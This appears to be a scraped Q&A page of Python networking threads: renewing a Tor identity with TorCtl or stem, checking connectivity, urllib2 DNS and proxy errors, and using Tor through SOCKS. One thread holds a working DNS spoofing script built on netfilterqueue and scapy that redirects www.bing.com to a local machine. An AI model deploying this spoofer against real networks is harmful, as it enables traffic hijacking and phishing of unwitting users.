Python - Controlling Tor - python

I'm attempting to control Tor with Python. I've read a couple of the other questions asked about this subject on stackoverflow but none of them answer this question.
I'm looking for a method to have tor give you a 'new identity', a new IP address, when the command is run. I've googled around and found the TorCtl module as a method for controlling tor, but can't find a way to get a new identity. Here's what I have so far for atleast connecting to tor, but can't get any farther.
from TorCtl import TorCtl
conn = TorCtl.connect(controlAddr="127.0.0.1", controlPort=9051, passphrase="123")
Any help on this is appreciated, if there are other modules better then TorCtl that'd be great too! Thank you!

Well, out of luck I managed to find a PHP script that did the exact same thing I wanted, and with the help of that I converted it to work in TorCtl. This is what it looks like for anyone else needing it in the future!
from TorCtl import TorCtl
conn = TorCtl.connect(controlAddr="127.0.0.1", controlPort=9051, passphrase="123")
TorCtl.Connection.send_signal(conn, "NEWNYM")

You can use a similar code in python:
def renewTorIdentity(self, passAuth):
try:
s = socket.socket()
s.connect(('localhost', 9051))
s.send('AUTHENTICATE "{0}"\r\n'.format(passAuth))
resp = s.recv(1024)
if resp.startswith('250'):
s.send("signal NEWNYM\r\n")
resp = s.recv(1024)
if resp.startswith('250'):
print "Identity renewed"
else:
print "response 2:", resp
else:
print "response 1:", resp
except Exception as e:
print "Can't renew identity: ", e
You can check this post for a mini-tutorial

Apparently the stem package works better. You can install tor on your computer and keep it running in terminal. Then run the following program:
from stem import Signal
from stem.control import Controller
with Controller.from_port(port = 9051) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM)
stem is the official package developed by tor.org, and you can see their documentation

Related

How to check if user is connected to internet in python?

I am python 3.5 and using urllib3 and I have seen various examples but they were of urllib2 that's why I asked this question ,I have a bit of code which need internet but if user is not connected I want to show them a warning that device is not connected to internet so how can I do this.
You could do something like this where you check for connection to a site.
import urllib.request
import urllib.parse
try:
x = urllib.request.urlopen('https://www.google.com')
except Exception as e:
print(str(e))
Ive not used urllib before but you can try something like:
try:
#you put your code here
#and it will raise an exception if
#network connection is not available
#so you catch that
except:
#your warning code

DNS spoofer and i can't get pass a certain point

I am running this code and it seems it isn't even making it pass the second 2nd if statement. Can anyone help? If anyone could help it would appreciative since I am very new to this kind of stuff.
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if 'www.bing.com' in qname:
print('[+] Spoofing Target...')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.8')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
bro you need to try this on the HTTP sites first like website.org and check if service apache is run using "service apache2 start"

Python 3 Read data from URL [duplicate]

I have this simple minimal 'working' example below that opens a connection to google every two seconds. When I run this script when I have a working internet connection, I get the Success message, and when I then disconnect, I get the Fail message and when I reconnect again I get the Success again. So far, so good.
However, when I start the script when the internet is disconnected, I get the Fail messages, and when I connect later, I never get the Success message. I keep getting the error:
urlopen error [Errno -2] Name or service not known
What is going on?
import urllib2, time
while True:
try:
print('Trying')
response = urllib2.urlopen('http://www.google.com')
print('Success')
time.sleep(2)
except Exception, e:
print('Fail ' + str(e))
time.sleep(2)
This happens because the DNS name "www.google.com" cannot be resolved. If there is no internet connection the DNS server is probably not reachable to resolve this entry.
It seems I misread your question the first time. The behaviour you describe is, on Linux, a peculiarity of glibc. It only reads "/etc/resolv.conf" once, when loading. glibc can be forced to re-read "/etc/resolv.conf" via the res_init() function.
One solution would be to wrap the res_init() function and call it before calling getaddrinfo() (which is indirectly used by urllib2.urlopen().
You might try the following (still assuming you're using Linux):
import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
res_init = libc.__res_init
# ...
res_init()
response = urllib2.urlopen('http://www.google.com')
This might of course be optimized by waiting until "/etc/resolv.conf" is modified before calling res_init().
Another solution would be to install e.g. nscd (name service cache daemon).
For me, it was a proxy problem.
Running the following before import urllib.request helped
import os
os.environ['http_proxy']=''
response = urllib.request.urlopen('http://www.google.com')

urllib2.URLError when using Quandl for Python behind a proxy

I'm posting this because I tried searching for the answer myself and I was not able to find a solution. I was eventually able to figure out a way to get this to work & I hope this helps someone else in the future.
Scenario:
In Windows XP, I'm using Python with Pandas & Quandl to get data for a US Equity security using the following line of code:
bars = Quandl.get("GOOG/NYSE_SPY", collapse="daily")
Unfortunately, I was getting the following error:
urllib2.URLError: <urlopen error [Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond>
#user3150079: kindly Ctrl+X / Ctrl+V your solution as an [Answer]. Such MOV is perfectly within StackOverflow
Solution:
I recognized that this was an issue with trying to contact a server without properly targeting my network's proxy server. Since I was not able to set the system variable for HTTP_PROXY, I added the following line which corrected the issue:
import os
os.environ['HTTP_PROXY']="10.11.123.456:8080"
Thanks - I'm interested to hear about any improvements to this solution or other suggestions.
You can set your user environment variable HTTP_PROXY if you can't or won't set the system environment variable:
set HTTP_PROXY "10.11.123.456:8080"
python yourscript.py
and to permanently set it (using setx from Windows XP Service Pack 2 Support Tools):
setx HTTP_PROXY "10.11.123.456:8080"
python yourscript.py
Other ways to get this environment variable set include: registry entries, putting os.environ["HTTP_PROXY"] = ..." insitecustomize.py`.
More control using requests without using the Quandl Package:
import requests
def main():
proxies = {'http': 'http://proxy.yourdomain.com:port',
'https': 'http://proxy.yourdomain.com:port',}
url = 'https://www.quandl.com/api/v3/datasets/GOOG/NYSE_SPY.json?collapse=daily'
response = requests.get(url, proxies=proxies)
status = response.status_code
html_text = response.text
repo_data = response.json()
print(repo_data)
print(status)
print('HTML TEXT')
print('=========')
print(html_text)
if __name__ == '__main__':
main()

Difficulties doing a webpage search with Python through Tor

I am running python 2.5.1 and Tor 0.2.2.34 on OSX 10.5
I have checked the SOCKS question and the Trying to get Tor to work with Python question and the Tor with Python question and have tried them all, and a combination of the above, while running Tor in the background and none have worked really. If I try the "Tor with Python" way (just urllib2) the script works, but my IP goes unchanged when checked by reading and printing the source code on a whatsmyip page in the same way through Python.
this is the script I'm trying to run through Tor:
import socks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 8118)
socket.socket = socks.socksocket
import urllib2
web_page = "http://www.cartage.org.lb/en/themes/arts/architec/architecturalstructure/LookingforLiminality/LookingforLiminality.htm"
req = urllib2.Request(web_page)
response = urllib2.urlopen(req)
the_page = response.read()
matches = re.findall('Gianni Vattimo', the_page)
if len(matches) == 0:
print 'RESULTS!'
else:
print 'There were NO results!'
(the web page is just an example and not my actual target obv.)
When I run this script it just stalls in Terminal for an indefinite amount of time. As I said, I've tried different renditions, changing the port to other suggestions, etc, but nothing has worked. Any suggestions or tested fixes?
Thank you.

Categories

Resources